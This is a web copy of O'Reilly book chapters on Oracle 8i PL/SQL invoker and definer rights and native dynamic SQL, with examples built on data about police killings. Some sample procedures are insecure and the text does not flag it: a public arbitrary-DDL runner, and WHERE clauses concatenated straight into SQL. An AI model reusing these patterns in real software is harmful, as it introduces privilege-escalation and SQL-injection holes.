
Previous: 2.4 Rules and Restrictions | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 3. Invoker Rights: Your Schema or Mine?
2.4 Rules and Restrictions | Book Index | 3. Invoker Rights: Your Schema or Mine?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] Invoker Rights: Your Schema or Mine?

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 2.5 Examples Chapter 3 Next: 3.2 The Invoker Rights Model

3. Invoker Rights: Your Schema or Mine?

Contents:
A Look at the Definer Rights Model
The Invoker Rights Model
One Program, Multiple Schemas
Combining the Definer and Invoker Rights Models

Invoker rights refers to a new model for resolving references to database elements (tables, views, objects, programs) in a PL/SQL program unit.

Back in the "old days" of Oracle7 and Oracle 8.0 (those days, of course, in which most of us still spend our time), whenever you executed a stored program, it executed under the authority of the owner of that program. This was not a big deal if your entire application -- code, data, and users -- worked out of the same Oracle account, a scenario that probably covers about 0.5% of all Oracle shops. It proved to be a real pain in the neck for the other 99.5%, though, because code was usually stored in one schema and then shared through GRANT EXECUTE statements with other users (directly or through roles).

For one thing, that centralized, stored code would not automatically apply the privileges of a user (also known as an invoker) to the code's objects. The user might not have had DELETE privileges on a table, but the stored code did, so delete away! Now, in some circumstances, that is just how you wanted it to work. In other situations, particularly when you were executing programs relying on the DBMS_SQL (dynamic SQL) package, awesome complications could ensue.

In Oracle 8.1, PL/SQL has now been enhanced so that at the time of compilation, you can decide whether a program (or all programs in a package) should run under the authority of the definer (the only choice in Oracle 8.0 and earlier) or of the invoker of that program.

3.1 A Look at the Definer Rights Model

Before exploring the new invoker rights feature of PL/SQL, let's review the definer rights model. You need to understand the nuances of both models, because most PL/SQL applications will very likely rely on a combination of those models.

Before a PL/SQL program can be executed from within a database instance, it must be compiled and stored in the database itself. Thus, program units are always stored within a specific schema or Oracle account. A program can reference other PL/SQL programs, database tables, and so on. These are called external references, since these database elements are not defined within the current program unit.

With the definer rights model, you should keep the following rules in mind:

  • Any external reference in a program unit is resolved at compile time using the directly granted privileges of the schema in which the program unit is compiled.

  • Database roles are ignored completely at compile time.

  • Whenever you run a program compiled with the definer rights model (the default), it executes under the authority of the schema that owns the program.

  • Although direct grants are needed to compile a program, you can rely on grants of EXECUTE authority to give other schemas the ability to run your program.

Figure 3.1 shows how you can use the definer rights model to control access to underlying data objects. All the order entry data is stored in the OEData schema. All the order entry code is defined in the OECode schema. OECode has been granted the direct privileges necessary to compile the Order_Mgt package, which allows you to both place and cancel orders.

Figure 3.1: Controlling access to data with the definer rights model

To make sure that the orders table is updated properly, no direct access (either via roles or privileges) is allowed to that table through any schema other than OECode. Suppose, for example, that the Sam_Sales schema needs to run through all the outstanding orders and close out old ones. Sam will not be able to issue a DELETE statement from the Close_Old_Orders procedure. Instead, Sam will have to call Order_Mgt.cancel to get the job done.

3.1.1 The Advantages of Definer Rights

There are certainly situations that cry out for (and are handled well by) the definer rights model. With definer rights:

  • You are better able to control access to underlying data structures. You can guarantee that the only way the contents of a table can be changed is by going through a specific programmatic interface (usually a package).

  • Application performance improves, because the PL/SQL engine does not have to perform checks at runtime to determine if you have the appropriate privileges or -- just as important -- which object you should actually be manipulating (my accounts table may be quite different from yours!).

  • You don't have to worry about manipulating the wrong table. With definer rights, your code will work with the same data structure you would be accessing directly in SQL in your SQL*Plus (or other execution) environment. It is simply more intuitive.

But there are problems with the definer rights model as well. These are explored in the next sections.

3.1.2 Where'd My Table Go?

Let's see what all those definer rights rules can mean to a PL/SQL developer on a day-to-day basis. In many database instances, developers write code against tables and views that are owned by other schemas, with public synonyms created for them to hide the schema. Privileges are then granted via database roles.

This very common setup can result in some frustrating experiences. Suppose that my organization relies on roles to grant access to objects. I am working with a table called accounts, and can execute this query without any problem in SQL*Plus:

SQL> SELECT account#, name FROM accounts;

Yet, when I try to use that same table (same query, even) inside a procedure, I get an error:

SQL> CREATE OR REPLACE PROCEDURE show_accounts
  2  IS
  3  BEGIN
  4     FOR rec IN (SELECT account#, name FROM accounts)
  5     LOOP
  6        DBMS_OUTPUT.PUT_LINE (rec.name);
  7     END LOOP;
  8  END;
  9  /

Warning: Procedure created with compilation errors.

SQL> sho err
Errors for PROCEDURE SHOW_ACCOUNTS:

LINE/COL ERROR
-------- ------------------------------------------------------
4/16     PL/SQL: SQL Statement ignored
4/43     PLS-00201: identifier 'ACCOUNTS' must be declared

This doesn't make any sense . . . or does it? The problem is that accounts is actually owned by another schema; I was unknowingly relying on a synonym and roles to get at the data. So if you are ever faced with this seemingly contradictory situation, don't bang your head against the wall in frustration. Instead, obtain the directly granted privileges you require to get the job done.

3.1.3 How Do I Maintain All That Code?

Suppose that my database instance is set up with a separate schema for each of the regional offices in my company. I build a large body of code that each office uses to analyze and maintain its data. Everybody has the same sets of tables, but the data is different.

Now, I would like to install this code so that I spend the absolute minimum amount of time and effort setting up and maintaining the application. The way to do that would be to install the code in one schema and share that code among all the regional office schemas.

With the definer rights model, unfortunately, this goal and architecture would be impossible to achieve. If I install the code in a central schema and grant EXECUTE authority to all regional schemas, then all those offices will be working with whatever set of tables is accessible to the central schema (perhaps one particular regional office or, more likely, a dummy set of tables). That's no good. I must instead install this body of code in each separate regional schema, as shown in Figure 3.2.

Figure 3.2: Repetitive installations of code needed with definer rights

The result is a maintenance and enhancement nightmare. Perhaps invoker rights will give us new options for a better solution.

3.1.4 Dynamic SQL and Definer Rights

Another common source of confusion with definer rights occurs when using dynamic SQL. Suppose I create a generic "run DDL" program using DBMS_SQL as follows:

/* Filename on companion disk: runddl.sp */
CREATE OR REPLACE PROCEDURE runddl (ddl_in in VARCHAR2)
IS
   cur INTEGER:= DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur, ddl_in, DBMS_SQL.NATIVE);
   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.CLOSE_CURSOR (cur);
EXCEPTION
   WHEN OTHERS
   THEN
      DBMS_OUTPUT.PUT_LINE (
         'RunDDL Failure on ' || ddl_in);
      DBMS_OUTPUT.PUT_LINE (SQLERRM);
      DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Now, dynamic SQL can be tricky stuff (notice the exception handler that closes the cursor instead of leaving it hanging open -- we often forget housekeeping like this). So I decide to share this neat utility (after testing it in my schema with outstanding results) with everyone else in my development organization. I compile it into the COMMON schema, where all reusable code is managed, grant EXECUTE to public, and create a public synonym. Then I send out an email announcing its availability.

A few weeks later, I start getting calls from my coworkers. "Steven, I asked it to create a table and it ran without any errors, but I don't have the table." "Steven, I asked it to drop my table, and runddl said that there is no such table. But I can do a DESCRIBE on it." "Steven. . . ." Well, you get the idea. I begin to have serious doubts about sharing my code with other people. Sheesh, if they can't use something as simple as runddl without screwing things up . . . but I decide to withhold judgment and do some research.

I log into the COMMON schema and find that, sure enough, all of the objects people were trying to create or drop or alter were sitting here in COMMON. And then it dawns on me: unless a user of runddl specifies his own schema when he asks to create a table, the results will be most unexpected.

In other words, this call to runddl:

SQL> exec runddl ('create table newone (rightnow DATE)');

would create the newone table in the COMMON schema. And this call to runddl:

SQL> exec runddl ('create table scott.newone (rightnow DATE)');

might solve the problem, but would fail with the following error:

ORA-01031: insufficient privileges

unless I grant CREATE ANY TABLE to the COMMON schema. Yikes . . . my attempt to share a useful piece of code got very complicated very fast! It sure would be nice to let people run the runddl procedure under their own authority and not that of COMMON, without having to install multiple copies of the code.

Previous: 2.5 Examples | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 3.2 The Invoker Rights Model
2.5 Examples | Book Index | 3.2 The Invoker Rights Model
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.2 The Invoker Rights Model

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

3.2 The Invoker Rights Model

To help developers get around the obstacles raised by the definer rights model, Oracle 8.1 offers an alternative: the invoker rights model. With this approach, all external references in a PL/SQL program unit are resolved according to the directly-granted privileges of the invoking schema, not the owning or defining schema.

Figure 3.3 demonstrates the fundamental difference between the definer and the invoker rights models. Recall that in Figure 3.2, it was necessary for me to push out copies of my application to each regional office so that the code would manipulate the correct tables.

Figure 3.3: Use of invoker rights model to allow a "pass through" to user data

With invoker rights, this step is no longer necessary. Now I can compile the code into a single code repository. When a user from the Northeast region executes the centralized program (probably via a synonym), it will automatically work with tables in the Northeast schema.

So that's the idea behind invoker rights. Let's see what is involved codewise, and then explore how best to exploit the feature.

3.2.1 Invoker Rights Syntax

The syntax to support this feature is simple enough. You add the following clause before your IS or AS keyword in the program header:

AUTHID CURRENT_USER

Here, for example, is a generic "run DDL" engine that relies on the new Oracle 8.1 native dynamic SQL statement EXECUTE IMMEDIATE (described in Chapter 4, Native Dynamic SQL in Oracle8i ) and the invoker rights model:

CREATE OR REPLACE PROCEDURE runddl (ddl_in in VARCHAR2)
   AUTHID CURRENT_USER
IS
BEGIN
   EXECUTE IMMEDIATE ddl_in;
END;
/

That's certainly lots simpler than the earlier implementation, isn't it?

The AUTHID CURRENT_USER clause before the IS keyword indicates that when runddl executes, it should run under the authority of the invoker or "current user," not the authority of the definer. And that's all you have to do. If you do not include the AUTHID clause or if you include it and explicitly request definer rights as shown:

AUTHID DEFINER

then all references in your program will be resolved according to the directly granted privileges of the owning schema.

3.2.2 Some Rules and Restrictions

There are a number of rules and restrictions to keep in mind when you are taking advantage of the invoker rights model:

  • AUTHID DEFINER is the default option.

  • The invoker rights model checks the directly-granted privileges assigned to the invoker at the time of program execution to resolve any external references to database objects (but not PL/SQL program units). Even with invoker rights, however, roles are ignored.

  • The AUTHID clause is allowed only in the header of a standalone subprogram (procedure or function), a package specification, or an object type specification. You cannot apply the AUTHID clause to individual programs or methods within a package or object type.

  • Invoker rights resolution of external references will work for the following kinds of statements:

    • SELECT, INSERT, UPDATE, and DELETE data manipulation statements

    • LOCK TABLE transaction control statement

    • OPEN and OPEN-FOR cursor control statements

    • EXECUTE IMMEDIATE and OPEN-FOR-USING dynamic SQL statements

    • SQL statements parsed using DBMS_SQL.PARSE

  • Definer rights will always be used to resolve at compile time all external references to PL/SQL programs and object type methods. To verify and understand this behavior, consider the following script:

    /* Filename on companion disk: authid2.sql */
CONNECT demo/demo
CREATE PROCEDURE dummy1 IS
BEGIN
   DBMS_OUTPUT.put_line ('Dummy1 owned by demo');
END;
/
GRANT execute on dummy1 to public;
CONNECT scott/tiger
CREATE PROCEDURE dummy1 IS
BEGIN
   DBMS_OUTPUT.put_line ('Dummy1 owned by scott');
END;
/
GRANT execute on dummy1 to public;
CREATE PROCEDURE dummy2 AUTHID CURRENT_USER
IS
BEGIN
   dummy1;
END;
/
GRANT execute on dummy2 to public;

EXEC scott.dummy2

CONNECT demo/demo
SET serveroutput on
EXEC scott.dummy2

    When you run this script (needing both the DEMO and SCOTT accounts to be defined), you will see the following output:

    SQL> @authid2
Connected.
Procedure created.
Grant succeeded.
Connected.
Procedure created.
Grant succeeded.
Procedure created.
Grant succeeded.
Connected.
Dummy1 owned by scott

    As you can see, DEMO called SCOTT's dummy2 procedure, which was set up as an invoker rights procedure. But SCOTT.dummy2 did not call DEMO's dummy1 procedure. Instead it called its own version. Contrast the behavior of authid2.sql with that found in authid3.sql (you'll find it on the companion disk) ; there you will see that table access is redirected to the DEMO schema.

    So just remember this: you can use invoker rights to change the resolution of external data element references (tables and views) but not that of program elements.

Previous: 3.1 A Look at the Definer Rights Model | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 3.3 One Program, Multiple Schemas
3.1 A Look at the Definer Rights Model | Book Index | 3.3 One Program, Multiple Schemas
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.3 One Program, Multiple Schemas

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

3.3 One Program, Multiple Schemas

You have the syntax down and we've covered some rules. Let's try out the new AUTHID clause in a more elaborate example.

A couple of years ago, a group of people started the Stolen Lives Project. The objective of this project is to document the lives "stolen" from families and communities when people are killed by law enforcement officers. I will use this project as the basis for my example in this section.

TIP: Neither the Stolen Lives Project nor I believe that all law enforcement officers commit acts of brutality. I also recognize that some killings by officers are justifiable, and that many, if not the vast majority of, officers are committed to improving the lives and guaranteeing the safety of all the citizens in their jurisdiction.

You can get lots more information about the Stolen Lives Project (hereafter referred to as SLP) at the following URL:

http://www.unstoppable.com/22/english/stolenlivesPROJECT

Suppose then that there is a national headquarters for the SLP, and that Headquarters maintains an Oracle database with a separate schema for each city and town in which information is being collected by local law enforcement brutality activists. Each schema has its own stolen_life table, but all schemas perform the same analyses on this information.

The DBA/developer for SLP, Salinda, has upgraded recently to 8.1 and sees an immediate opportunity for the AUTHID feature. She would like to maintain all the code in one place, but when activists in a given city run that code for their locale, they see their data and analyses. Figure 3.4 shows the architecture Salinda wants to implement.

Figure 3.4: One program analyzes data in different tables

TIP: I do not show all the statements needed to set up the various schemas in Oracle; you will find them, however, in the authid.ins file on the companion disk.

Salinda connects to the HQ schema and creates the following objects. First, a stolen_life table that contains just one row, indicating that you shouldn't look here for data:

/* Filename on companion disk: authid.hql */
CREATE TABLE stolen_life (
   dod DATE,
   ethnicity VARCHAR2(100),
   victim VARCHAR2(100),
   age NUMBER,
   description VARCHAR2(2000)
   );

INSERT INTO stolen_life (dod, ethnicity, victim, age, description) VALUES (
   SYSDATE, 'N/A', 'HQ Table', 0,
   'All information is stored in city tables.');

As you will see, Salinda needs to have this table in the schema so that she can compile the stored program units that will be shared throughout all the local schemas.

Next, she creates two programs, only the second of which specifies invoker rights. First, a program to display information about a life stolen:

/* Create a display program, run as DEFINER. */
CREATE OR REPLACE PROCEDURE show_victim (
   stolen_life IN stolen_life%ROWTYPE
   )
AS
BEGIN
   DBMS_OUTPUT.PUT_LINE (stolen_life.victim);
   DBMS_OUTPUT.PUT_LINE ('');
   DBMS_OUTPUT.PUT_LINE (stolen_life.description);
   DBMS_OUTPUT.PUT_LINE ('');
END;
/

And then the analysis program (which, in this case, simply displays the victims for a location):

CREATE OR REPLACE PROCEDURE show_descriptions
  AUTHID CURRENT_USER
AS
BEGIN
  FOR lifestolen IN (SELECT * FROM stolen_life)
  LOOP
     show_victim (lifestolen);
  END LOOP;
END;
/

Both of these programs compile by resolving the reference to stolen_life against the all-but-empty HQ table. Since these programs are to be used by all, Salinda then performs the necessary grants:

GRANT EXECUTE ON show_descriptions TO PUBLIC;
DROP PUBLIC SYNONYM show_descriptions;
CREATE PUBLIC SYNONYM show_descriptions FOR show_descriptions;

All of the above statements can be found, by the way, in the authid.hq1 file.

Once the centralized objects are in place, Salinda can now get everything defined in the local (city/town) schemas. Remember that the objective in this architecture is to store all of the code in one schema; the only step Salinda should have to take in her local schemas, therefore, is to create the stolen_life table specific to that locale. Here are the steps for Chicago. For these steps see authid.chi -- and note that all data shown is taken from the web site and reflects real-world tragedy:

/* Filename on companion disk: authid.chi */
DROP TABLE stolen_life;

CREATE TABLE stolen_life (
   dod DATE,
   ethnicity VARCHAR2(100),
   victim VARCHAR2(100),
   age NUMBER,
   description VARCHAR2(2000),
   moreinfoat VARCHAR(200) DEFAULT
      'http://www.unstoppable.com/22/english/stolenlivesPROJECT'
   );

Now that the table is created, Salinda populates it with just a tiny fragment of all the broken lives you will find on the web site. I will show just a single entry in the text:

INSERT INTO stolen_life (dod, ethnicity, victim, age, description) VALUES (
   '23-OCT-96', 'Puerto Rican', 'Angel Castro, Jr.', 15,
   'After being beaten, abused with racial epithets and told by police
that he would be killed if he did not move, Angel Castro's family moved.
Angel returned to the neighborhood for a friend's birthday party. After
leaving the party, a police car rammed him as he rode his bike. As Angel
tried to get on his knees, the police shot and killed him');

Salinda also performs the same steps for New York City; see the authid.ny file for all the details. Now let's see how well it all works.

I connect to the NY schema and show the stolen lives:

SQL> CONNECT newyork/newyork
SQL> set serveroutput on size 1000000 format wrapped
SQL> exec show_descriptions
Amadou Diallo

Shot 19 times by four police officers outside his Bronx apartment. Diallo
was a devout Muslim working 12 hour days selling CDs and tapes to earn
money to finish his bachelor's degree. He was unarmed.
...

And when I connect to CHICAGO, I see different information:

SQL> CONNECT chicago/chicago
SQL> set serveroutput on size 1000000 format wrapped
SQL> exec show_descriptions
Angel Castro, Jr.

After being beaten, abused with racial epithets and told by police that he
would be killed if he did not move, Angel Castro's family moved. Angel
returned to the neighborhood for a friend's birthday party. After leaving the
party, a police car rammed him as he rode his bike. As Angel tried to get on
his knees, the police shot and killed him.
...

Perfectly abominable behavior, but perfect implementation of shared code and nonshared data!

Let's just verify that Salinda did need the AUTHID clause to get things to work right. Suppose she goes back to the HQ account and recompiles the show_descriptions procedure, this time with the default rights model:

CREATE OR REPLACE PROCEDURE show_descriptions
  AUTHID DEFINER -- The default
AS
BEGIN
  FOR lifestolen IN (SELECT * FROM stolen_life)
  LOOP
     show_victim (lifestolen);
  END LOOP;
END;
/

Then when activists connect to the CHICAGO and NY schemas to see their data, this is all they see:

SQL> exec show_descriptions
HQ Table

All information is stored in city tables.

Clearly, without the help of the invoker rights model, Salinda could not achieve her design objectives. With AUTHID CURRENT_USER, though, it will be easier for the Stolen Lives Project to inform the American public about this issue.

Invoker Rights for Dynamic SQL

I have written hundreds of programs using dynamic SQL, and prior to Oracle 8.1, I always had to worry about schema issues: where is the program running? Who is running the program? What will happen when someone runs the program? These are scary questions to ask about your own code!

Now with the invoker rights model, those issues fall away. You should as a rule always include the AUTHID CURRENT_USER clause for any stored program unit that uses either the built-in package DBMS_SQL for dynamic SQL or the new 8.1 native dynamic SQL implementation (described in Chapter 4).

Once you take this step, you can rest assured that no matter where the program is compiled and no matter which schema runs the program, it will always act on the currently connected schema.

Previous: 3.2 The Invoker Rights Model | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 3.4 Combining the Definer and Invoker Rights Models
3.2 The Invoker Rights Model | Book Index | 3.4 Combining the Definer and Invoker Rights Models
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 3] 3.4 Combining the Definer and Invoker Rights Models

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

3.4 Combining the Definer and Invoker Rights Models

Invoker rights programs allow central code to reflect back to the calling schema. Definer rights programs allow remote schemas to access local data (i.e., data in the same schema as the program). Many applications require a combination of these flavors.

Suppose, for example, that the national Stolen Lives Project also maintains a table of "perpetrators," law enforcement officers who have killed one or more people in the United States. Due to the sensitivity of the information, the SLP has decided to maintain a single headquarters table that cannot be accessed directly by the city/town schemas. Yet both the location-specific stolen_life table and the systemwide perpetrators table need to be accessed by the check_city_statistics procedure.

What's a code architect to do? One thought might be to create a public synonym for the perpetrators table and make sure that no city schema has its own perpetrators table. When the city schema runs the central code under invoker rights, the reference to perpetrators would, in fact, be to that central source of data.

That works fine for the check_city_statistics procedure, but what about the rest of the application? With this approach, any city schema can directly access the perpetrators table, a violation of security. So the synonyms solution is no solution at all.

With Oracle 8.1, however, you don't need to do anything more than introduce a layer of code around the shared data structure. You need to do at least that, however, so that you can change the model used for resolving external references.

If the perpetrators table is accessed directly by the check_city_statistics procedure, the reference can only be resolved by the city schema's having direct access (via a synonym) to the table, which is a no-no. The check_city_statistics procedure cannot, therefore, query the perpetrators table directly. Instead, as shown in Figure 3.5, it will call another procedure, compiled under the definer rights model, which, in turn, works with the perpetrators table.

Figure 3.5: Combination of definer and invoker rights model

The authid4.sql file provides an implementation that reflects this blended approach. It creates a separate procedure, show_perps, to access the perpetrators table:

/* Filename on companion disk: authid4.sql */
CREATE OR REPLACE PROCEDURE show_perps (loc IN VARCHAR2)
  AUTHID DEFINER
AS
BEGIN
   FOR rec IN (SELECT * FROM perpetrator WHERE location = loc)
   LOOP
      pl (loc || ' perpetrator is ' || rec.rank || ' ' || rec.name);
   END LOOP;
END;
/

After granting PUBLIC access to this procedure (but not to the table), I modify show_descriptions to include this information:

CREATE OR REPLACE PROCEDURE show_descriptions
  AUTHID CURRENT_USER
AS
BEGIN
  HQ.show_perps (USER);

  pl ('');

  FOR lifestolen IN (SELECT * FROM stolen_life)
  LOOP
     show_victim (lifestolen);
  END LOOP;
END;
/

The Chicago group can then access a full array of information:

SQL> exec show_descriptions
CHICAGO perpetrator is Sergeant Tim "BigBoy" Cop
CHICAGO perpetrator is Commander John Burge

Bernard Solomon

After years of police harassment, Solomon was told by police that they
would kill him. A few days later he was arrested. He was found hung in
his cell at the 2259 S. Damen police station. Although police claim he
hung himself with his shirt, when his body was examined by family
members, he was found still wearing his shirt on one arm.

even though Chicago cannot directly access this table:

SQL> connect chicago/chicago
Connected.
SQL> select * from hq.perpetrators;
select * from hq.perpetrators
                 *
ERROR at line 1:
ORA-00942: table or view does not exist

The authid5.sql file on the disk offers a somewhat simpler example of this same basic technique.

By offering both the definer and invoker rights models in Oracle8i, Oracle demonstrates its continuing commitment to the PL/SQL language. As we move to the more distributed model of the Internet (and not just distributed data -- distributed everything), PL/SQL needs to become more flexible in the way that it lets us build and execute our code.

The invoker rights model gives all of us another tool to use as we construct our applications. By coming up with a simple syntax for applying this model, Oracle makes it easier for us to learn and implement this new approach.

Previous: 3.3 One Program, Multiple Schemas | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 4. Native Dynamic SQL in Oracle8i
3.3 One Program, Multiple Schemas | Book Index | 4. Native Dynamic SQL in Oracle8i
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] Native Dynamic SQL in Oracle8i

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book
Previous: 3.4 Combining the Definer and Invoker Rights Models Chapter 4 Next: 4.2 NDS Statement Summary

4. Native Dynamic SQL in Oracle8i

Contents:
DBMS_SQL Versus NDS
NDS Statement Summary
Multirow Queries with Cursor Variables
Binding Variables
Working with Objects and Collections
Building Applications with NDS
NDS Utility Package

Ever since Oracle 7.1, we PL/SQL developers have been able to use the built-in DBMS_SQL package to execute dynamic SQL and PL/SQL. This means, for example, that at runtime you can construct a query, a DELETE statement, a CREATE TABLE statement, or even a PL/SQL block as a string -- and then execute it. Dynamic SQL comes in extremely handy when you are building ad hoc query systems, when you need to execute DDL inside PL/SQL, and just generally when you don't know in advance exactly what you need to do or what the user will want to do. Dynamic SQL is a frequent requirement in Web-based applications.

But there are some problems with DBMS_SQL:

  • It is a very complicated package.

  • It has a number of restrictions (such as not recognizing and being able to work with new Oracle8 datatypes).

  • It is relatively slow.

So our dear friends at PL/SQL Central in Redwood Shores took pity on us all and reimplemented dynamic SQL directly in the PL/SQL language itself. This new facility is called native dynamic SQL. I will refer to it as NDS in this chapter.

Here's the free advertisement for Oracle Corporation: NDS is faster and easier than DBMS_SQL. Truth in advertising? Absolutely, although my tests indicate that with the performance enhancements already in place for DBMS_SQL, NDS is on average just slightly faster. There is no doubt, however, that NDS is much easier to use -- when you can use it.

Before diving into the syntax and details of NDS, let's take a look at a comparison between the two approaches to dynamic SQL.

4.1 DBMS_SQL Versus NDS

Let's compare the DBMS_SQL and NDS implementations of a program that displays all the employees for the specified and very dynamic WHERE clause.

The DBMS_SQL implementation:

CREATE OR REPLACE PROCEDURE showemps (
   where_in IN VARCHAR2 := NULL)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   rec employee%ROWTYPE;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE
     (cur,
      'SELECT employee_id, last_name
         FROM employee
        WHERE ' || NVL (where_in, '1=1'),
      DBMS_SQL.NATIVE);

   DBMS_SQL.DEFINE_COLUMN (cur, 1, 1);
   DBMS_SQL.DEFINE_COLUMN (cur, 2, user, 30);

   fdbk := DBMS_SQL.EXECUTE (cur);
   LOOP
      /* Fetch next row. Exit when done. */
      EXIT WHEN DBMS_SQL.FETCH_ROWS (cur) = 0;
      DBMS_SQL.COLUMN_VALUE (cur, 1, rec.employee_id);
      DBMS_SQL.COLUMN_VALUE (cur, 2, rec.last_name);
      DBMS_OUTPUT.PUT_LINE (
         TO_CHAR (rec.employee_id) || '=' ||
         rec.last_name);
   END LOOP;

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

The NDS implementation:

CREATE OR REPLACE PROCEDURE showemps (
   where_in IN VARCHAR2 := NULL)
IS
   TYPE cv_typ IS REF CURSOR;
   cv cv_typ;
   v_id employee.employee_id%TYPE;
   v_nm employee.last_name%TYPE;
BEGIN
   OPEN cv FOR
      'SELECT employee_id, last_name
         FROM employee
        WHERE ' || NVL (where_in, '1=1');
   LOOP
      FETCH cv INTO v_id, v_nm;
      EXIT WHEN cv%NOTFOUND;
      DBMS_OUTPUT.PUT_LINE (
         TO_CHAR (v_id) || '=' || v_nm);
   END LOOP;
   CLOSE cv;
END;
/

As you can see (and this is true in general), you can write dramatically less code using NDS. And since the code you write relies less on built-in packaged programs and more on native, standard elements of PL/SQL, that code is easier to build, read, and maintain.

Given this situation, why would anyone use DBMS_SQL ever again? Because NDS cannot do everything and anything you might want to do. The following lists show the operations that can be performed exclusively by each of these dynamic SQL implementations.

Exclusive NDS capabilities:

  • Works with all SQL datatypes, including user-defined objects and collection types (variable arrays, nested tables, and index-by tables). DBMS_SQL only works with Oracle7-compatible datatypes.

  • Allows you to fetch multiple columns of information directly into a PL/SQL record. With DBMS_SQL, you must fetch into individual variables.

Exclusive DBMS_SQL capabilities:

  • Supports Method 4 dynamic SQL, which means that at compile time, you don't know how many columns you will be querying and/or how many bind variables will need to be set. Method 4 is the most complex form of dynamic SQL, and NDS doesn't support it (except under certain restricted circumstances).

  • As of Oracle8, allows you to describe the columns of your dynamic cursor, obtaining column information in an index-by table of records.

  • Supports SQL statements that are more than 32KB in length.

  • Supports the use of the RETURNING clause into an array of values; NDS only allows the use of RETURNING for a single statement.

  • Allows you to reuse your dynamic SQL cursors, which can improve performance.

  • Can be executed from client-side (Oracle Developer) applications.

For more information about DBMS_SQL and the listed capabilities of this code, please see Chapter 3 of Oracle Built-in Packages (O'Reilly & Associates, 1998).

What can we conclude from these lists? The NDS implementation will be able to handle something like 80 to 90% of the dynamic SQL requirements you are likely to face. It is good to know, however, that there is still a place for DBMS_SQL (especially since I wrote a 100-page chapter on that package in Oracle Built-in Packages).

Previous: 3.4 Combining the Definer and Invoker Rights Models | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 4.2 NDS Statement Summary
3.4 Combining the Definer and Invoker Rights Models | Book Index | 4.2 NDS Statement Summary
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.2 NDS Statement Summary

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

4.2 NDS Statement Summary

One of the nicest things about NDS is its simplicity. Unlike DBMS_SQL, which has dozens of programs and lots of rules to follow, NDS has been integrated into the PL/SQL language by adding one new statement, EXECUTE IMMEDIATE, and by enhancing the existing OPEN FOR statement:

EXECUTE IMMEDIATE

Executes a specified SQL statement immediately

OPEN FOR

Allows you to perform multiple-row dynamic queries

4.2.1 The EXECUTE IMMEDIATE Statement

Use EXECUTE IMMEDIATE to execute (immediately!) the specified SQL statement. Here is the syntax of this statement:

EXECUTE IMMEDIATE SQL_string
   [INTO {define_variable[, define_variable]... | record}]
   [USING [IN | OUT | IN OUT] bind_argument
       [, [IN | OUT | IN OUT] bind_argument]...];
SQL_string

A string expression containing the SQL statement or PL/SQL block

define_variable

A variable that receives a column value returned by a query

record

A record based on a user-defined TYPE or %ROWTYPE that receives an entire row returned by a query

bind_argument

An expression whose value is passed to the SQL statement or PL/SQL block

INTO clause

Use for single-row queries; for each column value returned by the query, you must supply an individual variable or field in a record of compatible type.

USING clause

Allows you to supply bind arguments for the SQL string. This clause is used for both dynamic SQL and PL/SQL, which is why you can specify a parameter mode. This usage is only relevant for PL/SQL, however; the default is IN, which is the only kind of bind argument you would have for SQL statements.

